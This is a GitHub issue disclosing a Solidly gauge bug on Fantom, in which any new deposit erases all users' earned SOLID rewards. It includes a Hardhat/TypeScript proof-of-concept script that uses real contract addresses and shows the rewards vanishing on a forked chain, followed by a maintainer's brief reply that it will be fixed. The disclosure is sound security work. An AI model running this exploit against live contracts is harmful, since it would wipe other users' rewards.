New deposit to a gauge remove all earned rewards from all users
belbix opened this issue · comments
belbix commented
Solidly repo is closed so I put it here.
Test for showing how it works
Lines 102 to 151 in c649d89
Fantom chain POC on typescrypt/typechain coz I don't have time to implement it on JS.
TL;DR;
An attacker can spam deposit actions to gauges and removes all earned SOLID rewards.
No funds are affected but it can ruin all solidly tokenomic.
import {ethers} from "hardhat";
import {BigNumber} from "ethers";
import {
BaseV1Pair__factory,
BaseV1Router01Old__factory,
BaseV1Voter__factory,
Gauge__factory,
Token__factory
} from "../typechain";
import {formatUnits, parseUnits} from "ethers/lib/utils";
// tslint:disable-next-line:no-var-requires
const hre = require("hardhat");
async function main() {
const signer = (await ethers.getSigners())[0];
console.log('signer balance', formatUnits(await signer.getBalance()));
const router = BaseV1Router01Old__factory.connect('0xa38cd27185a464914D3046f0AB9d43356B34829D', signer);
const voter = BaseV1Voter__factory.connect('0xdC819F5d05a6859D2faCbB4A44E5aB105762dbaE', signer);
const SOLID = '0x888EF71766ca594DED1F0FA3AE64eD2941740A20';
const tomb = '0x6c021ae822bea943b2e66552bde1d2696a53fbb7'
const wftm = '0x21be370d5312f44cb42ce377bc9b8a0cef1a4c83'
const pool = '0x60a861Cd30778678E3d613db96139440Bd333143' // tomb/wftm
await router.swapExactFTMForTokens(
0,
[{from: wftm, to: tomb, stable: false}],
signer.address,
BigNumber.from('99999999999999'),
{value: parseUnits('0.1')}
);
console.log('swapped');
await Token__factory.connect(wftm, signer).deposit({value: parseUnits('0.1')});
console.log('wftm deposited');
await Token__factory.connect(tomb, signer).approve(router.address, parseUnits('9999'));
console.log('approved');
const tombBalance = await Token__factory.connect(tomb, signer).balanceOf(signer.address);
await router.addLiquidityFTM(
tomb,
false,
tombBalance,
0,
0,
signer.address,
BigNumber.from('99999999999999'),
{value: parseUnits('0.1')}
);
const liquidityBalance = await BaseV1Pair__factory.connect(pool, signer).balanceOf(signer.address);
console.log('liquidity added', liquidityBalance.toString());
const gaugeAdr = await voter.gauges(pool);
console.log('gaugeAdr', gaugeAdr);
const gauge = Gauge__factory.connect(gaugeAdr, signer);
const holder = '0x26E1A0d851CF28E697870e1b7F053B605C8b060F';
console.log('earned', formatUnits(await gauge.earned(SOLID, holder)));
await hre.network.provider.request({
method: "hardhat_impersonateAccount",
params: [holder],
});
await hre.network.provider.request({
method: "hardhat_setBalance",
params: [holder, "0x1431E0FAE6D7217CAA0000000"],
});
const holderWallet = await ethers.getSigner(holder);
const solidBefore = await Token__factory.connect(SOLID, signer).balanceOf(holder);
const snapshot = await ethers.provider.send("evm_snapshot", []);
await gauge.connect(holderWallet).getReward(holder, [SOLID]);
const solidAfter = await Token__factory.connect(SOLID, signer).balanceOf(holder);
console.log("claimed", formatUnits(solidAfter.sub(solidBefore)));
console.log('earned after claim', formatUnits(await gauge.earned(SOLID, holder)));
await ethers.provider.send("evm_revert", [snapshot]);
console.log('earned after rollback', formatUnits(await gauge.earned(SOLID, holder)));
// third party deposit
await Token__factory.connect(pool, signer).approve(gauge.address, parseUnits('9999'));
await gauge.deposit(liquidityBalance, 0);
console.log('earned after 3party deposit', formatUnits(await gauge.earned(SOLID, holder)));
// not necessary
await ethers.provider.send('evm_increaseTime', [60]);
await ethers.provider.send('evm_mine', []);
await gauge.connect(holderWallet).getReward(holder, [SOLID]);
const solidAfter1 = await Token__factory.connect(SOLID, signer).balanceOf(holder);
console.log("claimed after 3party deposit", formatUnits(solidAfter1.sub(solidBefore)));
console.log('earned after claim', formatUnits(await gauge.earned(SOLID, holder)));
}
main()
.then(() => process.exit(0))
.catch(error => {
console.error(error);
process.exit(1);
});
Lafachief commented
This will be fixed, and is one of the reasons we have been joining forces with 0xDAO